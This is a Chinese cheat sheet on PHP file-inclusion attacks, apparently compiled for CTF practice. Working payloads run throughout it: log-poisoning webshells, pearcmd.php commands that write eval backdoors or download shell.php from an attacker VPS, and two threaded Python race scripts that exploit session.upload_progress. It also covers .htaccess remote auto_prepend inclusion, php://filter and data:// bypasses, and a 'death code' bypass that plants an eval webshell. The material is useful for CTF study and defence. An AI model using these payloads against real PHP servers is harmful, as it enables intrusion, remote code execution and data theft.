日志包含

服务器日志包含

前提:

具有日志读取权限

URL:?x=/var/log/nginx/access.log

修改User-Agent<?php highlight_file('xxx.php'); ?>

nginx

1
2
3
4
5
6
日志:
/var/log/nginx/access.log
/var/log/nginx/error.log
配置:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf

apache

1
2
3
4
5
6
7
8
9
10
11
日志:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

配置:
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf

ssh日志包含

1
ssh '<?php eval($_GET['k']); ?>'@192.168.1.1

包含

1
2
ubuntu: /var/log/auth.log
centos: /var/log/secure

利用PEAR

条件

a.开启register_argc_argv(默认)

这样pearcmd.php就可以通过$_SERVER[‘argv’]来获取参数了

b.可以包含后缀为php的文件

定义

PEAR是可重用的PHP组件框架和系统分发,会随PHP安装时自动安装

pear接收参数规则:

&无法分割参数,+可以分割参数,=无法赋值而会被当作参数共同传入

直接忽略argv[0],因此大部分payload以+开头

Payload

bp发包payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

下载文件:

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

保存地址:/tmp/pear/download/test1.php

?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://ip/shell.php

保存地址:/tmp/pear/download/shell.php

1
2
3
4
5
6
7
<?php
header('Content-Disposition: attachment; filename="shell.php"');
echo <<<EOF
<?php
system(\$_GET[0]);
?>
EOF;
1
?file=/tmp/pear/download/shell.php&0=/readflag

?file=/usr/local/lib/php/pearcmd.php&+download+http://vps/eval.php

?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/eval.php+-d+man_dir=<?eval($_POST[0]);?>+-s+ HTTP/1.1(Burpsuite防浏览器转码)

1
2
3
4
5
6
7
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

必须bp,否则hackbar会导致自动编码

1
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_REQUEST[cmd])?>+/tmp/test.php
1
?file=/tmp/test

image-20221123200140651

详细限制

LFI 新姿势学习 (k1te.cn)

(6条消息) 利用pearcmd.php文件包含拿shell(LFI)_XiLitter的博客-CSDN博客_php拿shell

Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

利用session.upload_progress

条件

需要知道session文件的存放位置

如果session.auto_start=On(默认关闭)则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()

使用方法

可以利用session.upload_progress将恶意语句写入session文件,然后包含session文件

session有一个默认选项session.use_strict_mode默认值为0此时用户是可以自己定义Session ID的,

比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO即使此时用户没有初始化Session,PHP也会自动初始化Session 并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入session文件里

默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,此时我们可以利用竞争,在session文件内容清空前进行包含利用

1
2
3
4
5
6
7
8
9
10
一般的存放地址
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

条件竞争脚本1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8
import io
import requests
import threading
sessid = 'Q'
data = {"cmd":"system('whoami');"}
url = 'http://6bad481c-1da6-4a89-92f6-db28a56e4f28.chall.ctf.show/index.php'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('q.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data)
if 'q.txt' in resp.text:
print(resp.text)
event.clear()
else:
#print("[+++++++++++++]retry")
pass
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

条件竞争脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import io

import requests
import threading # 多线程

from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://43.143.7.127:28242/'
file = 'ph0ebus.txt' # 上传文件名
f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长


def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(
f"{target}index.php?file=/tmp/sess_{sessid}&cmd=system('cat index.php');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;
#args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

临时文件永久包含

过滤器a:

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在/tmp目录,再进行文件名爆破就可以getshell

1
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
1
2
3
4
5
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

脚本a:

1
2
3
4
5
6
7
8
import requests
url ="http://27d93842-80f6-42e6-aaf1-f27b6b8c3fe2.node3.buuoj.cn/flflflflag.php?" \
"file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = b"<?php phpinfo(); ?>"

file = [('file',("hack.jpg",payload,"image/jpeg"))]
res = requests.post(url=url,files=file)
print(res.text)

脚本b:

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
url="http://791c8e6a-e9b8-4f5e-ba3e-b553c42f0bbe.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,proxies=proxies,allow_redirects=False)//禁止重定向

print(r.text)
1
2
3
4
5
一般的文件名存放地址
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

过滤器b:

convert.quoted-printable-encode

这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数

1
2
3
4
5
• php7.0.0-7.0.32

• php7.0.4-7.2.12

• php<=5.6.38的版本
1
2
3
4
5
<?php
file_get_contents($_GET[a]);

payload:
index.php?a=php://filter/convert.quoted-printable-encode/resource=/etc/passwd
1
2
php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

在包含的同时要给此存在文件包含的php文件post一个文件

相关函数

在php种能够造成文件包含的函数有

1
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile

文件包含函数本身会进行一次URL解码,衍生如下绕过方式:

1
?file=php://filter/conv%6%35rt.bas%6%3564-%6%35ncode/resource=flag.php

include

包含并运行指定文件,那么受allow_url_fopen,allow_url_include限制

file_get_contents

把文件内容读入字符串
那么file_get_contents配合data只能实现字符串形式的输入,,由于是字符串形式,那么利用data等协议就不受allow_url_fopen,allow_url_include影响

此函数二进制安全,也就是说二进制数据也可以输入

这样echo会跑到源码里

image-20230305084658181

而include就可以直接执行

image-20230305085135072

file()

file() 函数把整个文件读入一个数组中,与 file_get_contents() 类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内,如果失败,则返回 false

远程文件包含

条件

和data协议相同条件

1
2
3
1. allow_url_fopen = On  (默认开启)
2. allow_url_include = On (默认关闭)
3. 被包含的变量前没有目录的限制
1
2
?file=http://123.249.89.207/1.txt
post 1=

PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含,因为 allow_url_include 的配置范围为PHP_INI_SYSTEM,所以无法利用 php_flag指令在 .htaccess文件中开启,这里为了演示,就先在 php.ini 中设置 allow_url_include 为On

.htaccess 文件中的设置为

1
2
3
php_value auto_prepend_file http://192.168.0.181/phpinfo.txt
或:
php_value auto_append_file http://192.168.0.181/phpinfo.txt

远程主机上的phpinfo.txt中的内容为

1
<?php phpinfo();?>

这样,最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行

修改.htaccess配合伪协议

这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。

条件:

  • allow_url_fopen 为 On

  • allow_url_include 为 On

  • 目标环境的当前目录中存在至少一个 PHP 文件

  • 任意代码执行

1
2
3
4
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plain,%3c%3fphp+phpinfo()%3b%3f%3e
// 如果不使用base64加密则注意需要url编码
  • 正则回溯绕过正则匹配

可以将正则匹配的回溯次数设置为0

1
/index.php?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C
1
2
3
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \
  • Base64 编码绕过

主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来

1
2
3
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"

# images.png 中是经过base64编码后的Webshell

我们直接使用data://协议也是可以的,这样就不需要上传 images.png了

1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

绕过死亡代码

  • .htaccess的预包含利用

php5下:

利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件
string.strip_tags能够从字符串中取出HTML和PHP标记,尝试返回给定的字符串 str 去除空字符,HTML和PHP标记后的结果。这里用这个,去除那个PHP的死亡结束代码

1
file_put_contents($filename,"<?php exit();".$content);
1
2
3
$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=?>php_value auto_prepend_file D:\\phpStudy\\PHPTutorial\\WWW\\flag
//php伪协议在file_put_contents下,传入的参数也会受到影响

同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签和PHP标记,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件

php7下:

1
http://localhost/test1.php?filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=adam.php&content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0d@eval($_POST[cmd]);?%3E/resource=adam.php
  • base64

    1
    2
    $filename='php://filter/convert.base64-decode/resource=s1mple.php';
    $content = 'aPD9waHAgcGhwaW5mbygpOz8+';

这里把$content补了个a是因为base64在解码时是把4个字节转化为3个字节的,而死亡代码中只有phpexit参与了解码,所以补上a既可以凑成八个字节完全转化

PHP协议

allow_url_fopen参数(只影响RFI,不影响LFI)

简介:是否允许将URL(HTTP,HTTPS等)作为文件打开处理

allow_url_include参数(只影响RFI,不影响LFI)
简介:是否允许includeI()和require()函数包含URL(HTTP,HTTPS)作为文件处理

file://

1
2
3
省略了主机和端口
file:///usr/local/nginx/conf/nginx.conf
file://127.0.0.1:80/usr/local/nginx/conf/nginx.conf

默认的访问路径协议就是file://

访问本地文件系统,默认的就是这个

Linux下:file:///etc/passwd

file://../../../../../…….

file://flag.php

ZIP

zip伪协议和phar协议类似,但是用法不一样

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

zip://xxx.png#shell.php

条件:PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4才可以
#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符

zip://中只能传入绝对路径
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://bzip2://

  • 绕过文件后缀检查:

首先新建一个zip文件,里面压缩着一个php脚本。

然后构造zip://php.zip#php.jpg

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

compress.zlib:

php://filter

php元封装器

条件:

默认是任何情况都可以

绕过:

php://filter 遇到不存在的过滤器会直接跳过, 可以绕过一些对关键字的检测

1
php://filter/read=convert.base64-encode/test随便乱写/resource=index.php
1
php://filter/ctfshow/resource=flag.php

二次编码

1
file=php://filter/XXXXXXXXXXXXX/resource=./phpinfo.php  这样可以,  convert.base64-convert ,也就是XXXXXXXXXXXX这部分可以二次编码

多级软连接绕过

/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:

1
2
3
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 

//result PD9waHAKCiRmbGFnPSJ0ZXN0e30iOwo=

常用过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
string.rot13
string.toupper
string.tolower
string.strip_tags

convert.base64-encode
convert.base64-decode

convert.quoted-printable-encode Laravel RCE(CVE-2021-3129)转化不可见字符
convert.quoted-printable-decode

存在过滤可以集束炸弹爆破
php://filter/convert.iconv.<input>.<output>/resource=flag.php

清除多余字符特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//base64编码
$str = "!....!....!...".base64_encode("mrkaixin")."!....!....!...";
echo file_get_contents('php://filter/read=convert.base64-decode/resource=data:,'.$str);

output:
mrkaixin[Finished in 0.2s]

//utf-16->utf-8来达到这个效果
$payload = base64_encode("mrkaixin");
$data = "fake".iconv('utf-8','utf-16le',$payload)."mrkaixin";

$temp = file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8/resource=data:;base64,'.base64_encode($data))."\n";

echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=data:;base64,'.base64_encode($data));

output:
mrkaixin

phar://

1
2
?file=phar://压缩包/内部文件
?file=phar://xxx.png/shell.php

注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤:

写一个一句话木马shell.php,然后用zip协议解压缩为shell.zip,然后将后缀改为png等其他格式

php://input

条件

开启allow_url_include

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据,最好使用php://input来代替$HTTP_RAW_POST_DATA,因为他不依赖于特定的php.ini指令

post一句话

1
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

注意:

a. php://input$HTTP_RAW_POST_DATA读取的数据总是一样的,当enctype=multipart/form-data的时候都是无效的

b. Coentent-Type仅在取值为application/x-www-data-urlencodedmultipart/form-data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST

c. PHP不能识别的Content-Type类型的时候,会将http请求包中相应的数据填入变量$HTTP_RAW_POST_DATA

d. 只有Coentent-Typemultipart/form-data的时候PHP不会将http请求数据包中的相应数据填入php://input否则其它情况都会,填入的长度由Coentent-Length指定

e. 只有Content-Typeapplication/x-www-data-urlencoded时,php://input数据才跟$_POST数据相一致

f. PHP会将PATH字段的query_path部分,填入全局变量$_GET通常情况下,GET方法提交的http请求,body为空

data://

条件

需要开启allow_url_include才可以使用
但没有开启也可以在file_get_contents()中写字符串

数据封装流

相当于把数据封在某个文件,所以才可以被file_get_contents()读取

1
2
3
data://text/plain,<?php phpinfo();?>
data://text/plain;[编码类型],<?php phpinfo();?>的编码
data:,<?php
1
2
3
4
5
?c=data:text/plain,<?php system('ls')?>

?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4

?c=data:,<?php system('ls')?>

allow_url_include=Off下的data小trick

file_get_contents 允许使用 data URI,会直接返回后面的内容,在allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果 data:,XXX 是一个目录名的话,就会放开限制

1
2
3
4
5
6
7
8
$ php -a
Interactive mode enabled

php > echo file_get_contents('data:,123456/ricky');
123456/ricky
php > echo require_once('data:,123456/ricky');
flag{xxxxxxxxxx}
php >